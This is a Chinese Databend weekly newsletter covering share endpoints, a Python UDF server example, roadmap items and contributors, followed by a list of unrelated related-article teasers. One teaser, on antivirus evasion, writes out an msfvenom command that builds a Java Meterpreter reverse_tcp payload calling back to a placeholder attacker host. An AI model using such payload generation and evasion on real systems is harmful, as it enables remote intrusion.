Databend 开源周报第 111 期

Databend 是一款现代云数仓。专为弹性和高效设计,为您的大规模分析需求保驾护航。自由且开源。即刻体验云服务:https://app.databend.cn 。

What's On In Databend

探索 Databend 本周新进展,遇到更贴近你心意的 Databend 。

理解 SHARE ENDPOINT

SHARE ENDPOINT 是 Databend 数据共享中的一个重要概念,用于指定数据共享实例的端点和租户名称。数据的访问方和使用方需要定义 SHARE POINT 来帮助 Databend 实例定位和访问与其共享的数据。

例如,如果租户 A 对租户 B 共享数据,那么租户 B 需要创建对应的 SHARE ENDPOINT,使租户 B 所处的实例能够定位和访问共享的数据。

CREATE SHARE ENDPOINT IF NOT EXISTS from_TenantAURL = '<share_endpoint_url>'TENANT = ACOMMENT = 'Share endpoint to access data from Tenant A';

如果您想了解更多信息,请查看下面列出的资源。

  • Docs | SHARE ENDPOINT

Code Corner

一起来探索 Databend 和周边生态中的代码片段或项目。

使用 Python 创建 UDF

Databend 现在支持 UDF Server 以提供更灵活和实用的函数自定义能力。用户可以使用自己喜爱的编程语言,结合 Apache Arrow Flight API 实现 UDF Server 来与 Databend 交互,从而拓展数据库的边界,实现更丰富和高效的数据工作流。

要启用这一特性,需要使用 v1.2.116-nightly 及之后版本,并在 databend-query 的配置文件中启用 UDF Server 支持和外部访问许可:

[query]
...
enable_udf_server = true
# use your udf server address here
udf_server_allow_list = ['http://0.0.0.0:8815']
...

下面的程序展示了如何利用 Python 创建用于计算最大公约数的 UDF Server 。

from udf import *# Define a function that accpets nullable values, and set skip_null to True to enable it returns NULL if any argument is NULL.
@udf(input_types=["INT", "INT"],result_type="INT",skip_null=True,
)
def gcd(x: int, y: int) -> int:while y != 0:(x, y) = (y, x % y)return xif __name__ == '__main__':# create a UDF server listening at '0.0.0.0:8815'server = UdfServer("0.0.0.0:8815")# add defined functionsserver.add_function(gcd)# start the UDF serverserver.serve()

对应到 Databend 中,则可以使用下面的 SQL 语句注册 UDF 。

CREATE FUNCTION gcd (INT, INT) RETURNS INT LANGUAGE python HANDLER = 'gcd' ADDRESS = 'http://0.0.0.0:8815';

这一功能尚在预览阶段,目前我们提供用于示例和测试的 Python SDK 文件,后续将会推出更多 SDK ,欢迎感兴趣的朋友参与到 UDF 生态共建之中。

如果您想了解更多信息,请查看下面列出的资源。

  • PR #12802 | feat: implement udf server in databend
  • Docs | UDF Server

Highlights

以下是一些值得注意的事件,也许您可以找到感兴趣的内容。

  • 支持 infer filter 。
  • 支持幂等删除。
  • SQLSmith 测试支持生成聚合函数、标量函数和表达式。
  • 阅读文档 Docs | INSERT INTO 和 Docs | REPLACE INTO ,了解如何使用 SQL 语句将 Stage 中数据插入到表中。

What's Up Next

我们始终对前沿技术和创新理念持开放态度,欢迎您加入社区,为 Databend 注入活力。

为 Stage 中的 Parquet 文件提供缓存支持

Databend 为查询和内部数据支持了多种不同类型和功能缓存,以改善查询性能,比如查询混存(Query Cache)、文件元数据缓存(File Metadata Cache)、数据缓存(Data Cache)等。

但是对于位于 Stage 的文件,还缺乏有效的缓存支持。如果能够为 Stage 中的 Parquet 提供元数据缓存或者对象缓存,将有助于改善对外置数据查询的性能。

select * from 's3://aa/bb/cc/' (pattern => '.*.parquet')

Issue #12762 | feat: add object cache for stage parquet file

如果你对这个主题感兴趣,可以尝试解决其中的部分问题或者参与讨论和 PR review 。或者,你可以点击 feat: add SHOW STATUS to export more metrics · Issue #8231 · datafuselabs/databend · GitHub 来挑选一个随机问题,祝好运!

New Contributors

一起认识社区中的新伙伴,Databend 因你们而变得更加美好。

  • @nagarajatantry 修复了文档中失效的超链接,#12836 。
  • @ct20000901 修复了 array_sort 无法正确处理空数组和 NULL 的问题,#12827 。

Changelog

前往查看 Databend 每日构建的变更日志,以了解开发的最新动态。

地址:https://github.com/datafuselabs/databend/releases

Contributors

非常感谢贡献者们在本周的卓越工作。

upload1a68e202a7ef0e330d79ce89e8b333eapng

Connect With Us

Databend 是一款开源、弹性、低成本,基于对象存储也可以做实时分析的新式数仓。期待您的关注,一起探索云原生数仓解决方案,打造新一代开源 Data Cloud。

  • Databend Website
  • GitHub Discussions
  • Twitter
  • Slack Channel

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/84511.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据(九):数据可视化(一)

专栏介绍 结合自身经验和内部资料总结的Python教程&#xff0c;每天3-5章&#xff0c;最短1个月就能全方位的完成Python的学习并进行实战开发&#xff0c;学完了定能成为大佬&#xff01;加油吧&#xff01;卷起来&#xff01; 全部文章请访问专栏&#xff1a;《Python全栈教…

Linux_9_网络协议和管理

目录 1网络基础1.1 网络概念1.2常见的网络物理组件1.3网络应用程序1.3.1各种网络应用1.3.2应用程序对网络的要求 1.4网络的特征1.4.1速度(带宽)1.4.2网络拓扑 1.5网络1.5.1网络准和分层1.5.2开放系统互联OSI1.5.3网络的通信过程1.5.3.1数据封装和数据解封1.5.3.2协议数据单元PD…

基于javaweb的顶岗实习管理系统(jsp+servlet)

系统简介 本项目采用eclipse工具开发&#xff0c;jspservletjquery技术编写&#xff0c;数据库采用的是mysql&#xff0c;navicat开发工具。 三个角色&#xff1a;管理员&#xff0c;教师&#xff0c;学生 模块简介 管理员&#xff1a; 1、登录 2、学生管理 3、公告管理 …

如何通过一键导出导入数据实现批量重命名文件名称

在日常办公中&#xff0c;我们经常需要对大量的文件进行重命名&#xff0c;以便更好地管理和查找文件。而且&#xff0c;有时候我们还需要将文件名称翻译成其他语言&#xff0c;以适应不同的工作需求。如何高效地完成这项任务呢&#xff1f;接下来&#xff0c;我将介绍一种方法…

前端搜索框防抖函数应用

防抖函数基本原理:setTimeout和clearTimeout的运用 关键代码: let timer:anynull; if(timer) { clearTimeout(timer) } timer setTimeout(() > { // ...略 }, delay); 防抖函数钩子文件: import { ref, watch, type Ref, type UnwrapRef, onUnmounted } fr…

HTTP 状态码

状态码状态码英文名称中文描述100Continue继续。客户端应继续其请求101Switching Protocols切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议&#xff0c;例如&#xff0c;切换到HTTP的新版本协议200OK请求成功。一般用于GET与POST请求201Created已创建。成功…

Gitee使用方法

Gitee是一个基于 Git 的代码托管和协作平台&#xff0c;具有免费、稳定等特点&#xff0c;并且能够与国内的Gitee社区、码云等服务相结合使用。 以下是使用Gitee的主要步骤&#xff1a; 注册账号&#xff1a;访问Gitee官网&#xff0c;点击“注册”按钮&#xff0c;填写注册信…

Bug排查思路

遇到一个Bug&#xff0c;怎么排查&#xff1f;以下几个思路&#xff0c;希望能对大家有所启发 一、环境问题 1、开发的代码是否已更新 2、是否是缓存原因导致的&#xff08;强刷&#xff0c;手动清除缓存&#xff0c;web甚至可以直接用无恒模式查看页面&#xff09; 3、是否…

【星海出品】python的简单小技术

一 列表推导式 nums [1,2,3,4,5,6,7,8,9] jishu [ _ for _ in nums if _ % 2 ]遍历列表中的每个元素。 二 filter函数 是Python内置的一个函数 它接受一个函数和一个可迭代对象作为参数 匿名函数 lambda&#xff0c;实现简单。最左的x为return, 也为接收&#xff0c;冒号后…

【李沐深度学习笔记】线性代数实现

课程地址和说明 线性代数实现p2 本系列文章是我学习李沐老师深度学习系列课程的学习笔记&#xff0c;可能会对李沐老师上课没讲到的进行补充。 这节就算之前内容的复习&#xff0c;后面以截图形式呈现 标量由只有一个元素的张量表示 import torch x torch.tensor([3.0]) y …

Spring Boot魔法:简化Java应用的开发与部署

文章目录 什么是Spring Boot&#xff1f;1. 自动配置&#xff08;Auto-Configuration&#xff09;2. 独立运行&#xff08;Standalone&#xff09;3. 生产就绪&#xff08;Production Ready&#xff09;4. 大量的起步依赖&#xff08;Starter Dependencies&#xff09; Spring …

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…

05_Bootstrap插件02

7 小标签 通过 .label 实现小标签&#xff0c;用于提示类。 <h1>h1标题 <span class"label label-default">标签</span></h1> <h2>h2标题<span class"label label-default">标签</span></h2> <h3&g…

Uni-app 调用微信地图导航功能【有图】

前言 我们在使用uni-app时&#xff0c;有时候会遇到需要开发地图和导航的功能&#xff0c;这些方法其实微信小程序的API已经帮我们封装好了 详见&#xff1a;微信小程序开发文档 接下来我们就演示如何用uni-app来使用他们 使用 <template><view><button type…

5G通信与蜂窝模组之间的关系

5G通信是第五代移动通信技术的简称&#xff0c;它代表了一种新一代的无线通信技术标准。5G通信的主要目标是提供更高的数据传输速度、更低的延迟、更大的网络容量以及更可靠的连接&#xff0c;以支持各种新兴应用和服务&#xff0c;包括高清视频流、虚拟现实、物联网&#xff0…

Mybatis学习笔记11 缓存相关

Mybatis学习笔记10 高级映射及延迟加载_biubiubiu0706的博客-CSDN博客 缓存:cache 缓存的作用:通过减少IO的方式,来提高程序的执行效率 Mybatis的缓存:将select语句的查询结果放到缓存(内存)当中,下一次还是这条select语句的话,直接从缓存中取,不再查数据库.一方面是减少了I…

【Vue3 源码讲解】nextTick

nextTick 是 Vue 3 中用于异步执行回调函数的函数&#xff0c;它会将回调函数延迟到下一个微任务队列中执行。其中&#xff0c;Vue 更新 DOM 是异步的。下面是对 nextTick 函数的详细解释&#xff1a; export function nextTick<T void, R void>(this: T,fn?: (this:…

开源日报 0820:Python编程学习的完整指南

这篇文章推荐了几个优秀的开源项目&#xff0c;包括Python编程学习项目、前端好文精选项目、高性能机器学习研究库、程序员的英语学习指南、网络应用程序安全测试项目、Kubernetes的DNS同步项目以及用于时态一致视频处理的内容变形场项目。这些项目都具有一定的优势和特点&…

websocket php教程

WebSocket 是 HTML5 提供的一种网络通讯协议&#xff0c;用于服务端与客户端实时数据传输。广泛用于浏览器与服务器的实时通讯&#xff0c;APP与服务器的实时通讯等场景。 相比传统HTTP协议请求响应式通讯&#xff0c;WebSocket协议可以做到实时的双向通讯&#xff0c;服务端可…

Webpack打包图片

一、在js文件中引入图片 二、在package.config.js中配置加载器 module.exports {mode: "production", // 设置打包的模式&#xff1a;production生产模式 development开发模式module: {rules: [// 配置img加载器{test: /\.(jpg|png|gif)$/i,type:"asset/resou…